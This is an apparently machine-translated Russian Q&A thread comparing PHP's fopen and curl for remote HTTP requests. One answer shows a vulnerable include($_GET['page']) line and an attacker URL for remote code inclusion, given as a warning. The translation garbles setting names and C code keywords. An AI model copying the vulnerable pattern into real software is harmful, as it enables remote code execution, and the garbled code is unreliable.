Каковы важные различия между использованием fopen ($ url) и curl в PHP?

Я пишу код, который нужно будет говорить с веб-службой через HTTP (ы). Раньше я использовал библиотеку curl. Недавно я заметил, что я могу просто использовать fopen () для доступа к удаленному URL-адресу, и это кажется намного проще.

Curl выглядит намного более настраиваемым, имея множество вариантов. Помимо этой конфигурации, имеет значение, какой метод используется? Если да, то что лучше и почему?

fopen() будет открывать только удаленные URL-адреса, если allow_fopen_url включен в php.ini .

Однако в версиях до 5.2.0 это было чрезвычайно опасно, поскольку функция include также загружала и анализировала PHP-код с удаленных сайтов. Наивный кодер можно было легко поймать с кодом вроде:

 <?php $page = $_GET['page']; include($page); ?> 

после чего злоумышленник должен попросить http://example.com/script.php?page=http://example.net/my_exploit_script выполнить свой собственный код в системе и ввести эксплойт. К сожалению, значение по умолчанию для allow_fopen_url ».

К счастью, начиная с 5.2.0 существует отдельный параметр (который должен по умолчанию отключен), называемый allow_url_include который предотвращает include загрузки удаленного кода.

Лично, если у вас есть возможность использовать Curl, используйте это вместо fopen .

Как сказал Алнитак, использование CURL не зависит от настроек PHP. Я провел несколько тестов скорости

 file_get_contents 

с моим

 function file_get_contents_curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); $data = curl_exec($ch); curl_close($ch); return $data; } 

Результат:

 0.263456821442 0.0626730918884 

CURL в 4 раза быстрее 🙂

Примечание: PHP может быть настроен на использование curl для http url_wrapper вместо использования своей собственной реализации.

внутр / скручивание / interface.c:

  #ifdef PHP_CURL_URL_WRAPPERS
 # если HAVE_CURL_VERSION_INFO
     {
         curl_version_info_data * info = curl_version_info (CURLVERSION_NOW);
         char ** p = (char **) info-> протоколы;

         while (* p! = NULL) {
             php_register_url_stream_wrapper (* p ++, & php_curl_wrapper TSRMLS_CC);
         }
     }
 # else
     php_register_url_stream_wrapper ("http", & php_curl_wrapper TSRMLS_CC);
     php_register_url_stream_wrapper ("https", & php_curl_wrapper TSRMLS_CC);
     php_register_url_stream_wrapper ("ftp", & php_curl_wrapper TSRMLS_CC);
     php_register_url_stream_wrapper ("ldap", & php_curl_wrapper TSRMLS_CC);
 # endif
 #endif